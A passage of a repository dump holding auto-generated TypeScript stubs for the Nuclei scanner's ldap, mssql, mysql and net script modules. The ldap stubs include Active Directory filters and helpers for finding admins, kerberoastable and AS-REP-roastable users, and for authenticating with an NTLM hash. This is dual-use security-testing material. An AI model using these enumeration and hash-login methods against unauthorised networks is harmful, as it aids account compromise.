    "content": "\n\n/** The user account is disabled. */\nexport const FilterAccountDisabled = \"(userAccountControl:1.2.840.113556.1.4.803:=2)\";\n\n/** The user account is enabled. */\nexport const FilterAccountEnabled = \"(!(userAccountControl:1.2.840.113556.1.4.803:=2))\";\n\n/** The user can send an encrypted password. */\nexport const FilterCanSendEncryptedPassword = \"(userAccountControl:1.2.840.113556.1.4.803:=128)\";\n\n/** Represents the password, which should never expire on the account. */\nexport const FilterDontExpirePassword = \"(userAccountControl:1.2.840.113556.1.4.803:=65536)\";\n\n/** This account doesn't require Kerberos pre-authentication for logging on. */\nexport const FilterDontRequirePreauth = \"(userAccountControl:1.2.840.113556.1.4.803:=4194304)\";\n\n/** The object has a service principal name. */\nexport const FilterHasServicePrincipalName = \"(servicePrincipalName=*)\";\n\n/** The home folder is required. */\nexport const FilterHomedirRequired = \"(userAccountControl:1.2.840.113556.1.4.803:=8)\";\n\n/** It's a permit to trust an account for a system domain that trusts other domains. */\nexport const FilterInterdomainTrustAccount = \"(userAccountControl:1.2.840.113556.1.4.803:=2048)\";\n\n/** The object is an admin. */\nexport const FilterIsAdmin = \"(adminCount=1)\";\n\n/** The object is a computer. */\nexport const FilterIsComputer = \"(objectCategory=computer)\";\n\n/** It's an account for users whose primary account is in another domain. */\nexport const FilterIsDuplicateAccount = \"(userAccountControl:1.2.840.113556.1.4.803:=256)\";\n\n/** The object is a group. */\nexport const FilterIsGroup = \"(objectCategory=group)\";\n\n/** It's a default account type that represents a typical user. */\nexport const FilterIsNormalAccount = \"(userAccountControl:1.2.840.113556.1.4.803:=512)\";\n\n/** The object is a person. */\nexport const FilterIsPerson = \"(objectCategory=person)\";\n\n/** The user is locked out. */\nexport const FilterLockout = \"(userAccountControl:1.2.840.113556.1.4.803:=16)\";\n\n/** The logon script will be run. */\nexport const FilterLogonScript = \"(userAccountControl:1.2.840.113556.1.4.803:=1)\";\n\n/** It's an MNS logon account. */\nexport const FilterMnsLogonAccount = \"(userAccountControl:1.2.840.113556.1.4.803:=131072)\";\n\n/** When this flag is set, the security context of the user isn't delegated to a service even if the service account is set as trusted for Kerberos delegation. */\nexport const FilterNotDelegated = \"(userAccountControl:1.2.840.113556.1.4.803:=1048576)\";\n\n/** The account is a read-only domain controller (RODC). */\nexport const FilterPartialSecretsAccount = \"(userAccountControl:1.2.840.113556.1.4.803:=67108864)\";\n\n/** The user can't change the password. */\nexport const FilterPasswordCantChange = \"(userAccountControl:1.2.840.113556.1.4.803:=64)\";\n\n/** The user's password has expired. */\nexport const FilterPasswordExpired = \"(userAccountControl:1.2.840.113556.1.4.803:=8388608)\";\n\n/** No password is required. */\nexport const FilterPasswordNotRequired = \"(userAccountControl:1.2.840.113556.1.4.803:=32)\";\n\n/** It's a computer account for a domain controller that is a member of this domain. */\nexport const FilterServerTrustAccount = \"(userAccountControl:1.2.840.113556.1.4.803:=8192)\";\n\n/** When this flag is set, it forces the user to log on by using a smart card. */\nexport const FilterSmartCardRequired = \"(userAccountControl:1.2.840.113556.1.4.803:=262144)\";\n\n/** When this flag is set, the service account (the user or computer account) under which a service runs is trusted for Kerberos delegation. */\nexport const FilterTrustedForDelegation = \"(userAccountControl:1.2.840.113556.1.4.803:=524288)\";\n\n/** The account is enabled for delegation. */\nexport const FilterTrustedToAuthForDelegation = \"(userAccountControl:1.2.840.113556.1.4.803:=16777216)\";\n\n/** Restrict this principal to use only Data Encryption Standard (DES) encryption types for keys. */\nexport const FilterUseDesKeyOnly = \"(userAccountControl:1.2.840.113556.1.4.803:=2097152)\";\n\n/** It's a computer account for a computer that is running old Windows builds. */\nexport const FilterWorkstationTrustAccount = \"(userAccountControl:1.2.840.113556.1.4.803:=4096)\";\n\n/**\n * DecodeADTimestamp decodes an Active Directory timestamp\n * @example\n * ```javascript\n * const ldap = require('nuclei/ldap');\n * const timestamp = ldap.DecodeADTimestamp('132036744000000000');\n * log(timestamp);\n * ```\n */\nexport function DecodeADTimestamp(timestamp: string): string {\n    return \"\";\n}\n\n\n\n/**\n * DecodeSID decodes a SID string\n * @example\n * ```javascript\n * const ldap = require('nuclei/ldap');\n * const sid = ldap.DecodeSID('S-1-5-21-3623811015-3361044348-30300820-1013');\n * log(sid);\n * ```\n */\nexport function DecodeSID(s: string): string {\n    return \"\";\n}\n\n\n\n/**\n * DecodeZuluTimestamp decodes a Zulu timestamp\n * @example\n * ```javascript\n * const ldap = require('nuclei/ldap');\n * const timestamp = ldap.DecodeZuluTimestamp('2021-08-25T10:00:00Z');\n * log(timestamp);\n * ```\n */\nexport function DecodeZuluTimestamp(timestamp: string): string {\n    return \"\";\n}\n\n\n\n/**\n * JoinFilters joins multiple filters into a single filter\n * @example\n * ```javascript\n * const ldap = require('nuclei/ldap');\n * const filter = ldap.JoinFilters(ldap.FilterIsPerson, ldap.FilterAccountEnabled);\n * ```\n */\nexport function JoinFilters(filters: any): string {\n    return \"\";\n}\n\n\n\n/**\n * NegativeFilter returns a negative filter for a given filter\n * @example\n * ```javascript\n * const ldap = require('nuclei/ldap');\n * const filter = ldap.NegativeFilter(ldap.FilterIsPerson);\n * ```\n */\nexport function NegativeFilter(filter: string): string {\n    return \"\";\n}\n\n\n\n/**\n * Client is a client for ldap protocol in nuclei\n * @example\n * ```javascript\n * const ldap = require('nuclei/ldap');\n * // here ldap.example.com is the ldap server and acme.com is the realm\n * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n * ```\n * @example\n * ```javascript\n * const ldap = require('nuclei/ldap');\n * const cfg = new ldap.Config();\n * cfg.Timeout = 10;\n * cfg.ServerName = 'ldap.internal.acme.com';\n * // optional config can be passed as third argument\n * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com', cfg);\n * ```\n */\nexport class Client {\n    \n\n    \n    public Host?: string;\n    \n\n    \n    public Port?: number;\n    \n\n    \n    public Realm?: string;\n    \n\n    \n    public BaseDN?: string;\n    \n\n    // Constructor of Client\n    constructor(public ldapUrl: string, public realm: string, public config?: Config ) {}\n    \n\n    /**\n    * FindADObjects finds AD objects based on a filter\n    * and returns them as a list of ADObject\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const users = client.FindADObjects(ldap.FilterIsPerson);\n    * log(to_json(users));\n    * ```\n    */\n    public FindADObjects(filter: string): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADUsers returns all AD users\n    * using FilterIsPerson filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const users = client.GetADUsers();\n    * log(to_json(users));\n    * ```\n    */\n    public GetADUsers(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADActiveUsers returns all AD users\n    * using FilterIsPerson and FilterAccountEnabled filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const users = client.GetADActiveUsers();\n    * log(to_json(users));\n    * ```\n    */\n    public GetADActiveUsers(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetAdUserWithNeverExpiringPasswords returns all AD users\n    * using FilterIsPerson and FilterDontExpirePassword filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const users = client.GetADUserWithNeverExpiringPasswords();\n    * log(to_json(users));\n    * ```\n    */\n    public GetADUserWithNeverExpiringPasswords(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADUserTrustedForDelegation returns all AD users that are trusted for delegation\n    * using FilterIsPerson and FilterTrustedForDelegation filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const users = client.GetADUserTrustedForDelegation();\n    * log(to_json(users));\n    * ```\n    */\n    public GetADUserTrustedForDelegation(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADUserWithPasswordNotRequired returns all AD users that do not require a password\n    * using FilterIsPerson and FilterPasswordNotRequired filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const users = client.GetADUserWithPasswordNotRequired();\n    * log(to_json(users));\n    * ```\n    */\n    public GetADUserWithPasswordNotRequired(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADGroups returns all AD groups\n    * using FilterIsGroup filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const groups = client.GetADGroups();\n    * log(to_json(groups));\n    * ```\n    */\n    public GetADGroups(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADDCList returns all AD domain controllers\n    * using FilterIsComputer, FilterAccountEnabled and FilterServerTrustAccount filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const dcs = client.GetADDCList();\n    * log(to_json(dcs));\n    * ```\n    */\n    public GetADDCList(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADAdmins returns all AD admins\n    * using FilterIsPerson, FilterAccountEnabled and FilterIsAdmin filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const admins = client.GetADAdmins();\n    * log(to_json(admins));\n    * ```\n    */\n    public GetADAdmins(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADUserKerberoastable returns all AD users that are kerberoastable\n    * using FilterIsPerson, FilterAccountEnabled and FilterHasServicePrincipalName filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const kerberoastable = client.GetADUserKerberoastable();\n    * log(to_json(kerberoastable));\n    * ```\n    */\n    public GetADUserKerberoastable(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADUserAsRepRoastable returns all AD users that are AsRepRoastable\n    * using FilterIsPerson, and FilterDontRequirePreauth filter query\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const AsRepRoastable = client.GetADUserAsRepRoastable();\n    * log(to_json(AsRepRoastable));\n    * ```\n    */\n    public GetADUserAsRepRoastable(): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * GetADDomainSID returns the SID of the AD domain\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const domainSID = client.GetADDomainSID();\n    * log(domainSID);\n    * ```\n    */\n    public GetADDomainSID(): string {\n        return \"\";\n    }\n    \n\n    /**\n    * Authenticate authenticates with the ldap server using the given username and password\n    * performs NTLMBind first and then Bind/UnauthenticatedBind if NTLMBind fails\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * client.Authenticate('user', 'password');\n    * ```\n    */\n    public Authenticate(username: string): void {\n        return;\n    }\n    \n\n    /**\n    * AuthenticateWithNTLMHash authenticates with the ldap server using the given username and NTLM hash\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * client.AuthenticateWithNTLMHash('pdtm', 'hash');\n    * ```\n    */\n    public AuthenticateWithNTLMHash(username: string): void {\n        return;\n    }\n    \n\n    /**\n    * Search accepts whatever filter and returns a list of maps having provided attributes\n    * as keys and associated values mirroring the ones returned by ldap\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const results = client.Search('(objectClass=*)', 'cn', 'mail');\n    * ```\n    */\n    public Search(filter: string, attributes: any): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * AdvancedSearch accepts all values of search request type and return Ldap Entry\n    * its up to user to handle the response\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const results = client.AdvancedSearch(ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, '(objectClass=*)', ['cn', 'mail'], []);\n    * ```\n    */\n    public AdvancedSearch(Scope: number, TypesOnly: boolean, Filter: string, Attributes: string[], Controls: any): SearchResult | null {\n        return null;\n    }\n    \n\n    /**\n    * CollectLdapMetadata collects metadata from ldap server.\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * const metadata = client.CollectMetadata();\n    * log(to_json(metadata));\n    * ```\n    */\n    public CollectMetadata(): Metadata | null {\n        return null;\n    }\n    \n\n    /**\n    * close the ldap connection\n    * @example\n    * ```javascript\n    * const ldap = require('nuclei/ldap');\n    * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n    * client.Close();\n    * ```\n    */\n    public Close(): void {\n        return;\n    }\n    \n\n}\n\n\n\n/**\n * Config is extra configuration for the ldap client\n * @example\n * ```javascript\n * const ldap = require('nuclei/ldap');\n * const cfg = new ldap.Config();\n * cfg.Timeout = 10;\n * cfg.ServerName = 'ldap.internal.acme.com';\n * cfg.Upgrade = true; // upgrade to tls\n * ```\n */\nexport interface Config {\n    \n    /**\n    * Timeout is the timeout for the ldap client in seconds\n    */\n    \n    Timeout?: number,\n    \n    ServerName?: string,\n    \n    Upgrade?: boolean,\n}\n\n\n\n/**\n * LdapAttributes represents all LDAP attributes of a particular\n * ldap entry\n */\nexport interface LdapAttributes {\n    \n    /**\n    * CurrentTime contains current time\n    */\n    \n    CurrentTime?: string[],\n    \n    /**\n    * SubschemaSubentry contains subschema subentry\n    */\n    \n    SubschemaSubentry?: string[],\n    \n    /**\n    * DsServiceName contains ds service name\n    */\n    \n    DsServiceName?: string[],\n    \n    /**\n    * NamingContexts contains naming contexts\n    */\n    \n    NamingContexts?: string[],\n    \n    /**\n    * DefaultNamingContext contains default naming context\n    */\n    \n    DefaultNamingContext?: string[],\n    \n    /**\n    * SchemaNamingContext contains schema naming context\n    */\n    \n    SchemaNamingContext?: string[],\n    \n    /**\n    * ConfigurationNamingContext contains configuration naming context\n    */\n    \n    ConfigurationNamingContext?: string[],\n    \n    /**\n    * RootDomainNamingContext contains root domain naming context\n    */\n    \n    RootDomainNamingContext?: string[],\n    \n    /**\n    * SupportedLDAPVersion contains supported LDAP version\n    */\n    \n    SupportedLDAPVersion?: string[],\n    \n    /**\n    * HighestCommittedUSN contains highest committed USN\n    */\n    \n    HighestCommittedUSN?: string[],\n    \n    /**\n    * SupportedSASLMechanisms contains supported SASL mechanisms\n    */\n    \n    SupportedSASLMechanisms?: string[],\n    \n    /**\n    * DnsHostName contains DNS host name\n    */\n    \n    DnsHostName?: string[],\n    \n    /**\n    * LdapServiceName contains LDAP service name\n    */\n    \n    LdapServiceName?: string[],\n    \n    /**\n    * ServerName contains server name\n    */\n    \n    ServerName?: string[],\n    \n    /**\n    * IsSynchronized contains is synchronized\n    */\n    \n    IsSynchronized?: string[],\n    \n    /**\n    * IsGlobalCatalogReady contains is global catalog ready\n    */\n    \n    IsGlobalCatalogReady?: string[],\n    \n    /**\n    * DomainFunctionality contains domain functionality\n    */\n    \n    DomainFunctionality?: string[],\n    \n    /**\n    * ForestFunctionality contains forest functionality\n    */\n    \n    ForestFunctionality?: string[],\n    \n    /**\n    * DomainControllerFunctionality contains domain controller functionality\n    */\n    \n    DomainControllerFunctionality?: string[],\n    \n    /**\n    * DistinguishedName contains the distinguished name\n    */\n    \n    DistinguishedName?: string[],\n    \n    /**\n    * SAMAccountName contains the SAM account name\n    */\n    \n    SAMAccountName?: string[],\n    \n    /**\n    * PWDLastSet contains the password last set time\n    */\n    \n    PWDLastSet?: string[],\n    \n    /**\n    * LastLogon contains the last logon time\n    */\n    \n    LastLogon?: string[],\n    \n    /**\n    * MemberOf contains the groups the entry is a member of\n    */\n    \n    MemberOf?: string[],\n    \n    /**\n    * ServicePrincipalName contains the service principal names\n    */\n    \n    ServicePrincipalName?: string[],\n    \n    /**\n    * Extra contains other extra fields which might be present\n    */\n    \n    Extra?: Record<string, any>,\n}\n\n\n\n/**\n * LdapEntry represents a single LDAP entry\n */\nexport interface LdapEntry {\n    \n    /**\n    * DN contains distinguished name\n    */\n    \n    DN?: string,\n    \n    /**\n    * Attributes contains list of attributes\n    */\n    \n    Attributes?: LdapAttributes,\n}\n\n\n\n/**\n * Metadata is the metadata for ldap server.\n * this is returned by CollectMetadata method\n */\nexport interface Metadata {\n    \n    BaseDN?: string,\n    \n    Domain?: string,\n    \n    DefaultNamingContext?: string,\n    \n    DomainFunctionality?: string,\n    \n    ForestFunctionality?: string,\n    \n    DomainControllerFunctionality?: string,\n    \n    DnsHostName?: string,\n}\n\n\n\n/**\n * SearchResult contains search result of any / all ldap search request\n * @example\n * ```javascript\n * const ldap = require('nuclei/ldap');\n * const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n * const results = client.Search('(objectinterface=*)', 'cn', 'mail');\n * ```\n */\nexport interface SearchResult {\n    \n    /**\n    * Referrals contains list of referrals\n    */\n    \n    Referrals?: string[],\n    \n    /**\n    * Controls contains list of controls\n    */\n    \n    Controls?: string[],\n    \n    /**\n    * Entries contains list of entries\n    */\n    \n    Entries?: LdapEntry[],\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/mssql.ts",
    "content": "\n\n/**\n * Client is a client for MS SQL database.\n * Internally client uses microsoft/go-mssqldb driver.\n * @example\n * ```javascript\n * const mssql = require('nuclei/mssql');\n * const client = new mssql.MSSQLClient;\n * ```\n */\nexport class MSSQLClient {\n    \n\n    // Constructor of MSSQLClient\n    constructor() {}\n    /**\n    * Connect connects to MS SQL database using given credentials.\n    * If connection is successful, it returns true.\n    * If connection is unsuccessful, it returns false and error.\n    * The connection is closed after the function returns.\n    * @example\n    * ```javascript\n    * const mssql = require('nuclei/mssql');\n    * const client = new mssql.MSSQLClient;\n    * const connected = client.Connect('acme.com', 1433, 'username', 'password');\n    * ```\n    */\n    public Connect(host: string, port: number, username: string): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * ConnectWithDB connects to MS SQL database using given credentials and database name.\n    * If connection is successful, it returns true.\n    * If connection is unsuccessful, it returns false and error.\n    * The connection is closed after the function returns.\n    * @example\n    * ```javascript\n    * const mssql = require('nuclei/mssql');\n    * const client = new mssql.MSSQLClient;\n    * const connected = client.ConnectWithDB('acme.com', 1433, 'username', 'password', 'master');\n    * ```\n    */\n    public ConnectWithDB(host: string, port: number, username: string): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * IsMssql checks if the given host is running MS SQL database.\n    * If the host is running MS SQL database, it returns true.\n    * If the host is not running MS SQL database, it returns false.\n    * @example\n    * ```javascript\n    * const mssql = require('nuclei/mssql');\n    * const isMssql = mssql.IsMssql('acme.com', 1433);\n    * ```\n    */\n    public IsMssql(host: string, port: number): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * ExecuteQuery connects to MS SQL database using given credentials and executes a query.\n    * It returns the results of the query or an error if something goes wrong.\n    * @example\n    * ```javascript\n    * const mssql = require('nuclei/mssql');\n    * const client = new mssql.MSSQLClient;\n    * const result = client.ExecuteQuery('acme.com', 1433, 'username', 'password', 'master', 'SELECT @@version');\n    * log(to_json(result));\n    * ```\n    */\n    public ExecuteQuery(host: string, port: number, username: string): SQLResult | null | null {\n        return null;\n    }\n    \n\n}\n\n\n\n/**\n * SQLResult Interface\n */\nexport interface SQLResult {\n    \n    Count?: number,\n    \n    Columns?: string[],\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/mysql.ts",
    "content": "\n\n/**\n * BuildDSN builds a MySQL data source name (DSN) from the given options.\n * @example\n * ```javascript\n * const mysql = require('nuclei/mysql');\n * const options = new mysql.MySQLOptions();\n * options.Host = 'acme.com';\n * options.Port = 3306;\n * const dsn = mysql.BuildDSN(options);\n * ```\n */\nexport function BuildDSN(opts: MySQLOptions): string | null {\n    return null;\n}\n\n\n\n/**\n * MySQLClient is a client for MySQL database.\n * Internally client uses go-sql-driver/mysql driver.\n * @example\n * ```javascript\n * const mysql = require('nuclei/mysql');\n * const client = new mysql.MySQLClient;\n * ```\n */\nexport class MySQLClient {\n    \n\n    // Constructor of MySQLClient\n    constructor() {}\n    /**\n    * IsMySQL checks if the given host is running MySQL database.\n    * If the host is running MySQL database, it returns true.\n    * If the host is not running MySQL database, it returns false.\n    * @example\n    * ```javascript\n    * const mysql = require('nuclei/mysql');\n    * const isMySQL = mysql.IsMySQL('acme.com', 3306);\n    * ```\n    */\n    public IsMySQL(host: string, port: number): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * Connect connects to MySQL database using given credentials.\n    * If connection is successful, it returns true.\n    * If connection is unsuccessful, it returns false and error.\n    * The connection is closed after the function returns.\n    * @example\n    * ```javascript\n    * const mysql = require('nuclei/mysql');\n    * const client = new mysql.MySQLClient;\n    * const connected = client.Connect('acme.com', 3306, 'username', 'password');\n    * ```\n    */\n    public Connect(host: string, port: number, username: string): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * returns MySQLInfo when fingerprint is successful\n    * @example\n    * ```javascript\n    * const mysql = require('nuclei/mysql');\n    * const info = mysql.FingerprintMySQL('acme.com', 3306);\n    * log(to_json(info));\n    * ```\n    */\n    public FingerprintMySQL(host: string, port: number): MySQLInfo | null {\n        return null;\n    }\n    \n\n    /**\n    * ConnectWithDSN connects to MySQL database using given DSN.\n    * we override mysql dialer with fastdialer so it respects network policy\n    * If connection is successful, it returns true.\n    * @example\n    * ```javascript\n    * const mysql = require('nuclei/mysql');\n    * const client = new mysql.MySQLClient;\n    * const connected = client.ConnectWithDSN('username:password@tcp(acme.com:3306)/');\n    * ```\n    */\n    public ConnectWithDSN(dsn: string): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * ExecuteQueryWithOpts connects to Mysql database using given credentials\n    * and executes a query on the db.\n    * @example\n    * ```javascript\n    * const mysql = require('nuclei/mysql');\n    * const options = new mysql.MySQLOptions();\n    * options.Host = 'acme.com';\n    * options.Port = 3306;\n    * const result = mysql.ExecuteQueryWithOpts(options, 'SELECT * FROM users');\n    * log(to_json(result));\n    * ```\n    */\n    public ExecuteQueryWithOpts(opts: MySQLOptions, query: string): SQLResult | null | null {\n        return null;\n    }\n    \n\n    /**\n    * ExecuteQuery connects to Mysql database using given credentials\n    * and executes a query on the db.\n    * @example\n    * ```javascript\n    * const mysql = require('nuclei/mysql');\n    * const result = mysql.ExecuteQuery('acme.com', 3306, 'username', 'password', 'SELECT * FROM users');\n    * log(to_json(result));\n    * ```\n    */\n    public ExecuteQuery(host: string, port: number, username: string): SQLResult | null | null {\n        return null;\n    }\n    \n\n    /**\n    * ExecuteQuery connects to Mysql database using given credentials\n    * and executes a query on the db.\n    * @example\n    * ```javascript\n    * const mysql = require('nuclei/mysql');\n    * const result = mysql.ExecuteQueryOnDB('acme.com', 3306, 'username', 'password', 'dbname', 'SELECT * FROM users');\n    * log(to_json(result));\n    * ```\n    */\n    public ExecuteQueryOnDB(host: string, port: number, username: string): SQLResult | null | null {\n        return null;\n    }\n    \n\n}\n\n\n\n/**\n * MySQLInfo contains information about MySQL server.\n * this is returned when fingerprint is successful\n */\nexport interface MySQLInfo {\n    \n    Host?: string,\n    \n    IP?: string,\n    \n    Port?: number,\n    \n    Protocol?: string,\n    \n    TLS?: boolean,\n    \n    Transport?: string,\n    \n    Version?: string,\n    \n    Debug?: ServiceMySQL,\n    \n    Raw?: string,\n}\n\n\n\n/**\n * MySQLOptions defines the data source name (DSN) options required to connect to a MySQL database.\n * along with other options like Timeout etc\n * @example\n * ```javascript\n * const mysql = require('nuclei/mysql');\n * const options = new mysql.MySQLOptions();\n * options.Host = 'acme.com';\n * options.Port = 3306;\n * ```\n */\nexport interface MySQLOptions {\n    \n    Host?: string,\n    \n    Port?: number,\n    \n    Protocol?: string,\n    \n    Username?: string,\n    \n    Password?: string,\n    \n    DbName?: string,\n    \n    RawQuery?: string,\n    \n    Timeout?: number,\n}\n\n\n\n/**\n * SQLResult Interface\n */\nexport interface SQLResult {\n    \n    Count?: number,\n    \n    Columns?: string[],\n}\n\n\n\n/**\n * ServiceMySQL Interface\n */\nexport interface ServiceMySQL {\n    \n    PacketType?: string,\n    \n    ErrorMessage?: string,\n    \n    ErrorCode?: number,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/net.ts",
    "content": "\n\n/**\n * Open opens a new connection to the address with a timeout.\n * supported protocols: tcp, udp\n * @example\n * ```javascript\n * const net = require('nuclei/net');\n * const conn = net.Open('tcp', 'acme.com:80');\n * ```\n */\nexport function Open(protocol: string): NetConn | null {\n    return null;\n}\n\n\n\n/**\n * Open opens a new connection to the address with a timeout.\n * supported protocols: tcp, udp\n * @example\n * ```javascript\n * const net = require('nuclei/net');\n * const conn = net.OpenTLS('tcp', 'acme.com:443');\n * ```\n */\nexport function OpenTLS(protocol: string): NetConn | null {\n    return null;\n}\n\n\n\n/**\n * NetConn is a connection to a remote host.\n * this is returned/create by Open and OpenTLS functions.\n * @example\n * ```javascript\n * const net = require('nuclei/net');\n * const conn = net.Open('tcp', 'acme.com:80');\n * ```\n */\nexport class NetConn {\n    \n\n    // Constructor of NetConn\n    constructor() {}\n    /**\n    * Close closes the connection.\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * conn.Close();\n    * ```\n    */\n    public Close(): void {\n        return;\n    }\n    \n\n    /**\n    * SetTimeout sets read/write timeout for the connection (in seconds).\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * conn.SetTimeout(10);\n    * ```\n    */\n    public SetTimeout(value: number): void {\n        return;\n    }\n    \n\n    /**\n    * SendArray sends array data to connection\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * conn.SendArray(['hello', 'world']);\n    * ```\n    */\n    public SendArray(data: any): void {\n        return;\n    }\n    \n\n    /**\n    * SendHex sends hex data to connection\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * conn.SendHex('68656c6c6f');\n    * ```\n    */\n    public SendHex(data: string): void {\n        return;\n    }\n    \n\n    /**\n    * Send sends data to the connection with a timeout.\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * conn.Send('hello');\n    * ```\n    */\n    public Send(data: string): void {\n        return;\n    }\n    \n\n    /**\n    * RecvFull receives data from the connection with a timeout.\n    * If N is 0, it will read all data sent by the server with 8MB limit.\n    * it tries to read until N bytes or timeout is reached.\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * const data = conn.RecvFull(1024);\n    * ```\n    */\n    public RecvFull(N: number): Uint8Array | null {\n        return null;\n    }\n    \n\n    /**\n    * Recv is similar to RecvFull but does not guarantee full read instead\n    * it creates a buffer of N bytes and returns whatever is returned by the connection\n    * for reading headers or initial bytes from the server this is usually used.\n    * for reading a fixed number of already known bytes (ex: body based on content-length) use RecvFull.\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * const data = conn.Recv(1024);\n    * log(`Received ${data.length} bytes from the server`)\n    * ```\n    */\n    public Recv(N: number): Uint8Array | null {\n        return null;\n    }\n    \n\n    /**\n    * RecvFullString receives data from the connection with a timeout\n    * output is returned as a string.\n    * If N is 0, it will read all data sent by the server with 8MB limit.\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * const data = conn.RecvFullString(1024);\n    * ```\n    */\n    public RecvFullString(N: number): string | null {\n        return null;\n    }\n    \n\n    /**\n    * RecvString is similar to RecvFullString but does not guarantee full read, instead\n    * it creates a buffer of N bytes and returns whatever is returned by the connection\n    * for reading headers or initial bytes from the server this is usually used.\n    * for reading a fixed number of already known bytes (ex: body based on content-length) use RecvFullString.\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * const data = conn.RecvString(1024);\n    * ```\n    */\n    public RecvString(N: number): string | null {\n        return null;\n    }\n    \n\n    /**\n    * RecvFullHex receives data from the connection with a timeout\n    * in hex format.\n    * If N is 0,it will read all data sent by the server with 8MB limit.\n    * until N bytes or timeout is reached.\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * const data = conn.RecvFullHex(1024);\n    * ```\n    */\n    public RecvFullHex(N: number): string | null {\n        return null;\n    }\n    \n\n    /**\n    * RecvHex is similar to RecvFullHex but does not guarantee full read instead\n    * it creates a buffer of N bytes and returns whatever is returned by the connection\n    * for reading headers or initial bytes from the server this is usually used.\n    * for reading a fixed number of already known bytes (ex: body based on content-length) use RecvFull.\n    * @example\n    * ```javascript\n    * const net = require('nuclei/net');\n    * const conn = net.Open('tcp', 'acme.com:80');\n    * const data = conn.RecvHex(1024);\n    * ```\n    */\n    public RecvHex(N: number): string | null {\n        return null;\n    }\n    \n\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/oracle.ts",
